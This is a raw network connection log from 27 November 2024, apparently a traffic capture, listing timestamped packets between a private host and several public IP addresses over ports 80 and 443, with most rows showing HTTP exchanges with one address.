Nov 27, 2024 17:58:54.803082943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.803098917 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.803191900 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.803853035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.803903103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.817820072 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:54.819946051 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:54.819968939 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:54.820518017 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:54.820523024 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:54.888729095 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.009373903 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.013315916 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:55.013371944 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:55.013609886 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:55.013829947 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:55.013844013 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:55.060430050 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:55.060467005 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:55.060528994 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:55.060866117 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:55.060873985 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:55.060918093 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:55.061223984 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:55.061243057 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:55.061424017 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:55.061433077 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:55.077944994 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:55.077972889 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:55.078636885 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:55.079191923 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:55.079240084 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:55.079366922 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:55.080287933 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:55.080303907 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:55.080724001 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:55.080739975 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:55.172157049 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.172239065 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.172545910 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.218625069 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.218661070 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.218679905 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.218687057 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.259150982 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.259219885 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.259278059 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.270862103 CET	443	49873	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.280744076 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.280757904 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.280769110 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.280778885 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.284296036 CET	49873	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.284327030 CET	443	49873	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.284771919 CET	49873	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.284782887 CET	443	49873	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.287054062 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.296413898 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.296436071 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.297836065 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.297847033 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.305754900 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.305802107 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.305862904 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.306051970 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.306065083 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.310461044 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.310492992 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.310548067 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.312648058 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.312664986 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.343182087 CET	443	49874	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.344546080 CET	49874	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.344567060 CET	443	49874	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.344945908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.344990969 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.345011950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.345053911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.345088959 CET	49874	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:55.345097065 CET	443	49874	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:55.345258951 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.345422029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.345443010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.345467091 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.345581055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.345798969 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.346333027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.346379042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.346404076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.346448898 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.347261906 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.347321987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.347374916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.347583055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.348141909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.348190069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.348229885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.348264933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.349061966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.349232912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.349277973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.349961042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.350017071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.350090981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.350130081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.350918055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.351021051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.351032019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.351115942 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.351792097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.351843119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.351913929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.351953030 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.352682114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.352772951 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.352787971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.352803946 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.353625059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.353663921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.353725910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.353836060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.354510069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.354554892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.354563951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.354604006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.355472088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.355519056 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.355570078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.355700970 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.356348038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.356393099 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.356511116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.356668949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.357256889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.357300997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.357363939 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.357402086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.358167887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.358205080 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.358212948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.358236074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.359100103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.359164000 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.359191895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.359291077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.360275030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.360341072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.360387087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.360424042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.360975981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.361028910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.361155987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.361196995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.361900091 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.361953974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.362183094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.362231016 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.362732887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.362786055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.362936020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.363147974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.363656998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.363699913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.363797903 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.363837004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.364547014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.364597082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.364604950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.364628077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.365475893 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.365530968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.365581036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.365616083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.366406918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.366482973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.366585016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.366719961 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.367310047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.367362022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.367372036 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.367412090 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.368197918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.368257046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.368310928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.368349075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.369132996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.369196892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.369229078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.369270086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.370034933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.370122910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.370151043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.370187998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.370944023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.371012926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.371129990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.371169090 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.371820927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.371870995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.371942043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.372055054 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.372759104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.372802019 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.372843027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.372883081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.373680115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.373717070 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.373728037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.373766899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.374576092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.374620914 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.374691963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.374728918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.375504971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.375550985 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.375575066 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.375606060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.376419067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.376466036 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.376552105 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.376591921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.377373934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.377427101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.377501965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.377542973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.378273964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.378323078 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.378437042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.378488064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.379221916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.379266024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.379338980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.379384995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.380130053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.380182028 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.380291939 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.380378008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.381042957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.381076097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.381093979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.381128073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.382002115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.382050991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.382143021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.382188082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.382781029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.382833958 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.382961988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.383045912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.383703947 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.383800030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.383802891 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.383941889 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.384680986 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.384737015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.384829044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.384879112 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.385576963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.385631084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.385653019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.385691881 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.386431932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.386507034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.386533022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.386663914 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.387491941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.387542009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.387600899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.387643099 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.388243914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.388298988 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.388333082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.388386011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.389250994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.389302969 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.389377117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.389444113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.390129089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.390244007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.390252113 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.390294075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.391063929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.391125917 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.391158104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.391262054 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.391901016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.391952991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.391982079 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.392038107 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.393026114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.393085003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.393197060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.393240929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.393816948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.393896103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.393924952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.393939972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.394711971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.394761086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.555780888 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.555838108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.555897951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.556237936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.556318045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.556349039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.556389093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.557137966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.557189941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.557194948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.557387114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.558062077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.558172941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.558186054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.558398008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.558967113 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.559042931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.559076071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.559113979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.559878111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.559928894 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.559967041 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.560008049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.560755014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.560801029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.560802937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.560842037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.561727047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.561781883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.561789036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.561841965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.562665939 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.562711000 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.562769890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.562815905 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.563541889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.563607931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.563646078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.563684940 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:55.564440966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:55.564498901 CET	49850	80	192.168.2.7	185.215.113.206
